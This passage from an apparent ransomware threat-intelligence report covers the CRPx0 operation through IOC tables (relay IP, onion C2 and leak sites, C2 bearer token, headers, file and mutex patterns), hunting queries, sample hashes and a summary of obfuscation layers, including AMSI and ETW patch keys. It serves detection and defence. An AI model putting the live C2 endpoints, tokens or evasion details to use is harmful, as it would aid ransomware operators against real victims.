  • Financial tracing. Bitcoin deposit address 1Fv8YVf52MGqjfgnyjMoBo7ojoGnZmKCrV (ByBit), with activity from October 2023 to July 2026.
  • Operator tradecraft and promotion. A YouTube walkthrough of the affiliate panel, narrated live by a non-native English speaker on a Mandarin-locale test machine, and a leak-site "News" section curating vendor coverage of themselves.
  • Eight public malware samples. Submitted to MalwareBazaar on 04 August 2026 under the family signature CRPx0 - four EXE, three DLL and one HTML build, none of which overlaps the corpus analysed here. Reproduced with attribution in Appendix A - Third-Party Submissions.

Where the two accounts diverge

The disagreements are as useful as the overlaps - each one marks something that is build-variable, aggregator-dependent, or collected at a different moment.

PointThis reportThe Raven FileRead as
Leak-site victim count47, counted directly on the DLS - corrected from an earlier figure of 37 carried over from Ransomlook47 counted on the DLS itself, 03 Aug 2026Resolved - the two accounts agree. Ransomlook was undercounting by ten; the aggregator was wrong, not the Raven File. Count the DLS directly. Both figures remain adversary claims, not confirmed breaches
VictimologyUS 74%, Turkey 23%, healthcare 28%, financial services 19% - full recount of all 47 postingsUS first, Turkey second, healthcare leadingResolved - the two accounts agree. A direct recount confirms Turkey as the clear second country at 11 entries, and healthcare as the leading sector. The earlier figures missed Turkey entirely because the aggregator did; the collection gap was ours, not the analysis
Builder output formatsFour, from panel v3.0.0 dated 2026-06-07 - DLL, EXE, CAPTCHA HTML, Update HTMLWindows ClickFix stager offering DLL, EXE and a VBS stager; separate "CRPx0 v2.0" build announcementA fifth format we have no sample of. Either a panel-version difference or a build we have not collected - treat VBS delivery as in-scope and unanalysed
Dropped loader filename%LOCALAPPDATA%\data.dll%LOCALAPPDATA%\sync.dll or index.dll, depending on buildActionable. The dropped filename is builder-variable - do not pin detection on data.dll. Hunt the %LOCALAPPDATA% write plus the ExecuteStager export and section geometry instead
Front-end infrastructureClearnet relay 207.180.29.236:8080, SOCKS5 to a Tor backendCloudflare-fronted panels resolving to AS40065Two separate hosting arrangements observed within days of each other - the operator runs more infrastructure than either report saw alone

Where the two accounts agree

Everything either account establishes about payload behaviour agrees: portable Python 3.10.11 pulled from python.org, get-pip.py from bootstrap.pypa.io, tar.exe extraction, ntdll unhooking, AV service termination, an ONLOGON scheduled task, a date-based kill switch, and post-use deletion of the dropped DLL. That is independent corroboration of the chain from Stage 3 onward, reached from a sandbox rather than from disassembly.

Appendix A - Indicators of Compromise (IOCs)

Network IOCs

The first table is adversary-controlled and safe to block. The second is legitimate third-party infrastructure that the chain abuses - alert on it in context, but do not block it. Blanket-blocking python.org, github.com or bootstrap.pypa.io will break ordinary development activity across your estate and will not stop CRPx0, which can host the same files anywhere. Builds expire on their own kill-switch timers and are then replaced, so treat the relay IP and the auth token as the most perishable entries here and the header names, URI structure and TLD set as the durable ones.

Adversary-controlled - safe to block

TypeIndicatorWhere it appears in the chain
Relay host (clearnet)207.180.29.236All four request types - lure telemetry, payload delivery, C2, exfiltration
Relay endpointhttp://207.180.29.236:8080/relay.phpStage 1 telemetry, macOS payload fetch, Stage 4 beacons and exfil upload
C2 backend (Tor)xburs4nr6cbuktokhqwefeh5hsjakz6usll5o7z5uhrfcnolakj4ptad.onion/api.phpSOCKS5 destination behind the relay; second entry in REMOTE_URLS
Leak site (clearnet)crpx0.suRansom note, Stage 4 config
Leak site (Tor)tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad.onionRansom note {TOR_LINK}
Leak site (Tor, short form)crpxolx7.onion - unverifiedRecorded as-is during collection. This is 8 characters and is therefore not a valid v2 (16-char) or v3 (56-char) onion address. Do not deploy it as an indicator until it is re-collected; the full v3 address above is the one to use
Negotiation portal (Tor)kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd.onionRansom note, method 1
Payload delivery URI/relay.php?file=sys_core_<hex8>.bin&secret=crpx0_c2_2026macOS Stage 1 → 4; observed build IDs f6037e11 and 9407d9e0
Auth tokencrpx0_c2_2026Bearer header on C2 traffic and secret query parameter on payload fetch
HTTP headerAuthorization: Bearer crpx0_c2_2026Stage 4 only - beacons, key handshake, exfiltration
HTTP headerX-Captcha-Track: 1Lure pages only. Fires when a device merely renders the page - the earliest indicator in the whole chain and the only pre-execution one
HTTP headerX-OP-ID: OP_<10 digits>Stage 4 beacons
HTTP headerX-Status: scannedencrypted propagation_started extfilt fatal_error Stage 4 beacons
Multipart boundary----CrpxBoundary<uuid hex>Phase 9 exfiltration, 512 KB chunks
Telemetry operation IDsWINUPDATE_TRACK (aff 1), CAPTCHA_WEB (aff 20)POST bodies from the two lure variants
TLD rotation set.ws, .ly, .pet, .sh, .moeStage 3 download function, Fisher-Yates shuffled at runtime - a takedown on one extension leaves the other four live
Tox ID17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7CRansom note, method 2; also advertised on the leak site
Session ID050546f6719172e04151c31acb37a242fa3eeff5766aa57331d26cc06e83e9e25bRansom note, method 3
Telegram bot@DragonFly_x_botOperator contact point
Affiliate recruitmentspear\[.\]cxRaaS advertising from 07 June 2026

Legitimate infrastructure abused by the chain - do not block

HostFetchedWhat to alert on instead
python.orgpython-3.10.11-embed-win32.zip / -amd64.zipThe download landing in %TEMP% as py.zip, followed by get-pip.py - not the domain
bootstrap.pypa.ioget-pip.pyExecution from a user-writable path, followed by pip install cryptography requests pywin32
github.comindygreg/python-build-standalone, release cpython-3.10.13+20240107The specific release path fetched by curl on macOS into /tmp/py.tar.gz
ip-api.com , ipinfo.io/json - victim geolocationThe User-Agent and destination pair curl/7.64.1 → either host, per the Sigma proxy rule

Infrastructure Pivots

Expiring builds force affiliates to pull rebuilt payloads carrying new hashes and, in all likelihood, to stand up replacement staging hosts. The pivots below are built from the structural characteristics of the known relay rather than from sample hashes.

Unvalidated - no results are claimed. These queries were constructed from the indicators above. None of them was run to produce a finding recorded in this report, and no replacement infrastructure has been confirmed. Verify any hit independently before acting on it or sharing it onward.

Censys queries
# 1. The known relay — confirm current state, capture banner and certificate drift
ip: 207.180.29.236

# 2. The same endpoint on the same port anywhere else
services.port: 8080 and services.http.response.body: "relay.php"

# 3. Same-hoster sweep — resolve the ASN of 207.180.29.236 first, then
services.port: 8080
  and autonomous_system.asn: {ASN of the known relay}
  and services.http.response.status_code: 200

# 4. Leak-site naming and certificates
dns.names: crpx0.su
services.tls.certificates.leaf_data.subject.common_name: crpx0.su

# 5. The Stage 3 TLD rotation set — run each in turn
dns.names: crpx0.ws
dns.names: crpx0.ly
dns.names: crpx0.pet
dns.names: crpx0.sh
dns.names: crpx0.moe

Two further pivots that do not need Censys:

  • Imphash retrohunt. 8021f32be9faef6137ea9d442ebe0059 on VirusTotal, Hybrid Analysis or your own corpus surfaces new stager builds directly, because the value held identical across the affiliate 1 and affiliate [REDACTED] builds even though every other cryptographic parameter differed. Corroborate every hit against the six exported crypto globals or the payloadssys_<hex8>.dll internal name - imphash collisions between unrelated small MinGW binaries are common.
  • Passive DNS across the TLD rotation set. Because Stage 3 shuffles .ws, .ly, .pet, .sh and .moe at runtime, seizing one extension does not neutralise the stager. Monitor all five rather than the one that is currently resolving.

Filesystem IOCs Summary

Everything in the table below is an affiliate 1 literal, except the two standalone-format rows at the foot, which are affiliate [REDACTED] builds taken from the builder. OP_1785331224 is provably per-build: it is the builder-generated OPERATION_ID, stamped into every beacon as X-OP-ID. The hex tokens 180d1d15 (mutex), fe7e3a (exfil archive), d3dd0447 (wallpaper), 3b1facad (decoy PDF) and b97be3 (SELF_EXCLUDE_TAG) are assessed per-build at moderate-high confidence, not observed - only the affiliate 1 Stage 4 config was recovered, so none of them has been seen rotating directly. The corroboration is that the one equivalent token visible in two builds does rotate: the macOS payload is sys_core_f6037e11.bin in the affiliate [REDACTED] lure and sys_core_9407d9e0.bin in the bash dropper. Each row now carries the literal followed by the pattern to hunt on. Prefer the structural pattern to a bare wildcard. sys_lock_* and data_*.zip are durable but generic enough to collide with benign artefacts, whereas sys_lock_<hex8>_OP_<10 digits> keeps the fidelity and still survives a rebuild.

ArtifactPath / Pattern
Downloaded DLLWindowsUpdate.log (in Downloads)
Stage 3 loader%LOCALAPPDATA%\data.dll
Python RATsys_service.py
Ransom note (text)HOW TO RECOVER.txt (in every encrypted directory)
Ransom note (HTML)HOW TO RECOVER.html (in every encrypted directory)
Debug logcrpx0_debug.log
Scan resultsscan_report.json
Exfiltration archivedata_fe7e3a_OP_1785331224.zip (deleted after upload) - durable pattern data_<hex6>_OP_<10 digits>.zip
Wallpaper~/.d3dd0447.png - durable pattern ~/.<hex8>.png (hidden PNG written to the home directory)
Self-destruct script%TEMP%\upd_<hex8>.vbs
Decoy document3b1facad.pdf - durable pattern <hex8>.pdf (DECOY_NAME, builder-generated)
Encrypted files*.crpx0
Staging directoriesLow_Graphics_Cache, Sys_Diagnostics, Windows_Driver_Host, Update_Temp_Store, Cache_Sys
Scheduled task nameOneDrive Sync Maintenance / OneDrive Maintenance
macOS LaunchAgent~/Library/LaunchAgents/com.apple.sync.plist
MutexGlobal\sys_lock_180d1d15_OP_1785331224 - durable pattern Global\sys_lock_<hex8>_OP_<10 digits>
Lock file~/.sys_lock_180d1d15_OP_1785331224.lock - durable pattern ~/.sys_lock_<hex8>_OP_<10 digits>.lock
Standalone DLL (all-in-one)sys_260a35b4.dll - durable pattern sys_<hex8>.dll; internal name affiliate_<id>sys_<hex8>.dll
Standalone EXE (all-in-one)sys_555de185.exe - durable pattern sys_<hex8>.exe

Obfuscation Layers Decoded

LayerKey/MethodLocation
HTML outer wrapperbase64 (atob())clickfix.html
PE DLL in HTMLbase64 Blob__pd variable in decoded_page.html
Stage 2 encryptionXOR+ROL+NOT with 64-byte keysembedded_payload.dll .data section
Config stringsSingle-byte XOR 0x52data.dll .data section
Python bootstrapSingle-byte XOR 0xE0data.dll .data section offset 0x260
Python sourcebase64 + zlib compressionInside bootstrap script
Runtime stringsMulti-byte XOR with 78f2627f3795ea508fecac16227bbff8sys_service.py dx() function
API nameschr() obfuscationBootstrap imports
AMSI patch bytesXOR with key 254patch_amsi()
ETW patch bytesXOR with key 42patch_etw()

Key Detection IOCs

  • Encrypted file extension: .crpx0
  • Ransom notes: HOW TO RECOVER.txt / HOW TO RECOVER.html
  • HTTP headers: Authorization: Bearer crpx0_c2_2026, X-Captcha-Track: 1
  • Scheduled tasks: OneDrive Sync Maintenance
  • Mutex pattern: Global\sys_lock_<hex8>_OP_<10 digits> - regex sys_lock_[0-9a-f]{8}_OP_\d{10}. The affiliate 1 value is sys_lock_180d1d15_OP_1785331224; the 180d1d15 segment is assessed per-build, so do not pin on it. Equally, do not collapse this to a bare sys_lock_* - that is generic enough to collide with benign mutexes, and the _OP_<10 digits> tail is what makes the match specific.
  • DLL export: ExecuteStager
  • Stager imphash: 8021f32be9faef6137ea9d442ebe0059 - identical in the affiliate 1 and affiliate [REDACTED] builds even though every other cryptographic parameter differs between them. This is the strongest hash-shaped pivot in the report and the one to use where YARA cannot run: VirusTotal, Hybrid Analysis, and corpus retrohunts. Treat it as a hunting pivot rather than a blocking indicator - the stager is a ~13 KB MinGW DLL with a small, generic import table, and imphash collisions between unrelated MinGW binaries are common. Corroborate with the payloadssys_<hex8>.dll internal name or the six exported crypto globals, which are more specific and just as rebuild-durable.
  • Loader imphash: 75b5f0e4a17efa8efe6384a9c3d7a667 (Stage 3 data.dll) - only one build was recovered, so this one is unproven across affiliates
  • Stager exports: g_data, g_k1, g_k2, g_ko1, g_ko2 and g_len present together in a single DLL - present in the Stage 2 ClickFix stager and in the standalone all-in-one DLL, so one pivot covers both formats
  • Standalone format geometry: a PE32 DLL or EXE with a very small .text section against a .data section of roughly 3.87 MB at entropy above 7.9. Observed: 6,144 bytes of .text in the DLL, 7,168 in the EXE - both under 8 KB. CRPx0_Standalone_Loader_PE bounds .text at 16 KB rather than 8 KB, widened on purpose for rebuild headroom, so the rule is deliberately looser than the observed data. This is the most rebuild-durable indicator for the two non-ClickFix builder outputs, and the only structural handle on the EXE variant, which has no exports and no version resource
  • Standalone build names: sys_<hex8>.dll and sys_<hex8>.exe on disk; internal name affiliate_<id>sys_<hex8>.dll - regex affiliate_\d{1,4}sys_[0-9a-f]{8}\.dll
  • Debug log: crpx0_debug.log
  • Exfiltration archives: data_<hex6>_OP_<10 digits>.zip - regex data_[0-9a-f]{6}_OP_\d{10}\.zip. The affiliate 1 value is data_fe7e3a_OP_1785331224.zip; fe7e3a is assessed per-build on the same reasoning as the mutex, so the durable shape is the _OP_<10 digits>.zip tail rather than the prefix.
  • Multipart boundary: CrpxBoundary
  • Kill switch: every build carries a hardcoded expiry timestamp, after which the payload is inert. The values are build-generated and are not useful as hunting indicators

Sample Hashes

The following artifacts were recovered during static analysis from /home/remnux/files/samples/clickfix/. Use the cryptographic hashes below for threat hunting, malware triage, and blocklisting:

FileDescriptionSizeSHA256
clickfix.zipDelivery archive as received for analysis - contains the lure page and payloads; not observed being fetched by the pasted PowerShell5,001,165a92641523ad121aaf140234a5ee70940b1fee67f12ea9a67c4ebb8fa9fbdcbeb
clickfix.htmlClickFix social engineering page (outer wrapper)7,088,024ad1b8bdfb562ede7017003679185c07b6f746778ee7ed179c54e3c35bc0c4ccb
decoded_page.htmlDecoded inner HTML page (full ClickFix UI)5,315,8843363e3af60b1e25f8cdc70206f1d7b89e28bb72a7dd43f4460f3ee07d7508f80
embedded_payload.dllStage 2 stager DLL (extracted from HTML base64)3,884,03285b79bbc907b8c0eeacc5da5ac35d7387c69faeb2f7822b3e2dca94f80ed0851
data.dllStage 3 Python loader (decrypted from stager .data section)3,869,69653983a29efdc724bf6ae68c9e11bb165945571b079a3c85f213c60bdc4bd2af3
bootstrap_script.pyXOR 0xE0 decoded bootstrap script (from data.dll .data)3,828,1288e7027367756ed9cee15529fd39c839f3773e0930fe8207b9a8654625128dd60
sys_service_decoded.pyStage 4 - final Python ransomware payload (base64+zlib decompressed)3,937,697dc36944e733c1c70145681551b32ea95e17770a490e83d61ca525807e6d1fc51
captcha_obf.htmlreCAPTCHA ClickFix (outer wrapper, affiliate [REDACTED])7,028,490e6ce4b7c40d38a246c0dcc88c4f005fe28e3b5a8da603116881f7c5356771c70
captcha_decoded.htmlDecoded inner HTML (reCAPTCHA lure)5,271,2527bfc7148c9eb8a3bcc6472e56e7d5be901462873d793323c69067d6dbfa2f79a
captcha_payload.dllStage 2 stager DLL (affiliate [REDACTED] build)3,880,960a190c6075a60b528ec4185e5d4d81ac4d039e5d357ab33e2384ae21b02e29ad4
sys_core_*.binmacOS payload - Python bootstrap (same as embedded in data.dll)3,806,4802d3dfec60201dcc8d0b08abefa8d43efe5f62c33110f036560baa6f1bf24ea8a

Standalone Builder Formats

These two came from the CRPx0 COMMAND builder rather than from the ClickFix sample set, and both are affiliate [REDACTED] builds.

FileDescriptionSizeSHA256
sys_260a35b4.dllStandalone DLL - all-in-one stager and loader for sideloading or injection; internal name affiliate_20sys_e56dad8b.dll3,881,472bee987e441c5b1e49eefed56b04adbee72a6fcb4ddde6bcf4d4abb3bfbc4661c
sys_555de185.exeStandalone EXE - all-in-one stager and loader, direct execution, GUI subsystem3,884,54432d741ce1461d1e310452ef29ec7906326970af07f9139ea9260abb2df6f0ae5

No MD5 or imphash was recorded for either build. Their import sets differ from the Stage 2 stager, so do not assume 8021f32be9faef6137ea9d442ebe0059 covers them - compute both and pivot separately.

Third-Party Submissions - MalwareBazaar (The Raven File)

Separate investigation, shared with us. The eight samples below were collected and submitted to MalwareBazaar by Rakesh Krishnan (TheRavenFile) as part of the independent research described under Companion Research above. They were not recovered, executed or statically analysed by Ransom-ISAC, so no size, compile timestamp, imphash, affiliate ID or kill-switch date is asserted for any of them. Family attribution is the submitter's and the platform's. Credit The Raven File when re-sharing these hashes.

Source: bazaar.abuse.ch/browse/signature/CRPx0. All eight samples under that signature come from this one reporter, so this is currently the entire public CRPx0 corpus on MalwareBazaar. Note the platform renders the family name CRPx0 - a third case variant alongside the CRPx0 used throughout this report and the CRPx0 on the ransom-note banner. Query the platform with its exact string.

Firstseen (UTC)FormatSHA256
2026-08-04 03:21:06EXEbac340524549410f51b060f21abb7db30c0c5378edd2e3ac15b526e141417e89
2026-08-04 03:21:51DLL290d41e7436238066a8aacbd63a805aeeefc00d8798116dc702eccf6df3eae37
2026-08-04 03:22:42EXE9cfe9b894af68946ddc7e6f4cbdb085a92c4009ea00554c407beb5a8fc29f6b7
2026-08-04 03:23:13DLL8af1afc82c0d578a54cc34d09544a0695ec2b0d5f244bf1f1bb4993ee7614734
2026-08-04 03:23:46EXE0dc6a5ce14838813e297a83e3c3c0868c7a211ee2da9c9705e5a282e65f089fe
2026-08-04 03:36:01HTML55a81d88fff3dc3de0e42724b0a992d4ef382b0e1a82187abf9d635ab89b2bae
2026-08-04 03:36:28DLLef431e36a8ac12051af588d800e1d8128d583a9d4c68187709263a13564081cd
2026-08-04 03:37:00EXE28685dff00aa1752b62a8580955b2530d63092bdcc0528b872a668cddad78c11

None of these eight overlaps the fourteen artefacts analysed in this report. The two sets together take the known CRPx0 corpus to 22 distinct files - and because all eight of these are unanalysed by us, they are the best available independent test corpus for the rules in Detection & Hunting Queries.

Reading the timestamps. These are submission times, not build times, so the cadence reflects the submitter's upload workflow rather than the operator's builder sessions. The format mix is the informative part. The samples fall into two clusters: 03:21:06 to 03:23:46 running EXE → DLL → EXE → DLL → EXE, and 03:36:01 to 03:37:00 running HTML → DLL → EXE. The second cluster is one of each of three builder output formats inside 59 seconds, which is the shape a single builder request produces - consistent with the affiliate [REDACTED] finding in Alternate Delivery Formats, where the standalone DLL and the ClickFix stager were compiled 100 seconds apart. Both clusters were collected while the builds were live, and are likely inert now if they inherit the same expiry mechanism.

Follow-up worth doing. Pull all eight and run four cheap checks, in ascending order of effort:

  1. The HTML sample first. Read its kill-switch expiry straight out of the source and check for the __pd blob and the document.write(atob(...)) wrapper. This is the cheapest check and it confirms whether the expiry mechanism carries across builder output formats.
  2. Imphash the three DLLs. If any returns 8021f32be9faef6137ea9d442ebe0059, the Stage 2 stager imphash generalises beyond the two builds it is currently proven on, which materially strengthens the strongest hash-shaped pivot in this report.
  3. Dump the DLL export tables. The presence of g_data, g_k1, g_k2, g_ko1, g_ko2 and g_len together would confirm the six-export fingerprint across a wider build population.
  4. Measure section geometry on the four EXEs. These test the .text under 16 KB against .data at roughly 3.87 MB / entropy above 7.9 that CRPx0_Standalone_Loader_PE depends on - the only structural handle on the EXE format, and until now backed by a single observed sample.

Additional File Hashes

FileMD5Imphash
embedded_payload.dll55cf090e07a9ecbff062c47ef93fd1be8021f32be9faef6137ea9d442ebe0059
data.dlle205d76c2f1d1bf356fddf6a6aa2260175b5f0e4a17efa8efe6384a9c3d7a667
sys_service_decoded.py2a92762213ccde7bfac2a0a72f1816f2N/A
captcha_obf.html6aeee2fff046a115f1ff8e78c8794ca9N/A
captcha_payload.dll ([REDACTED])59d552bb3abeb278f0f9deb5b838bf6e8021f32be9faef6137ea9d442ebe0059
sys_core_*.bin (macOS payload)SHA256: 2d3dfec60201dcc8d0b08abefa8d43efe5f62c33110f036560baa6f1bf24ea8aN/A
macos (bash dropper)SHA256: e3191e13e6ff9a1a85d1dcffc4e7a8bdcc12329f8ecf0ad825f8670b0d12c97aN/A

Facing a cyber security incident?

If you believe your organisation has been compromised by CRPx0 or a related actor, please reach out to Ransom-ISAC.

Found this article helpful?

Share it with your network

Continue Reading

Explore more expert insights and threat intelligence from the Ransom-ISAC community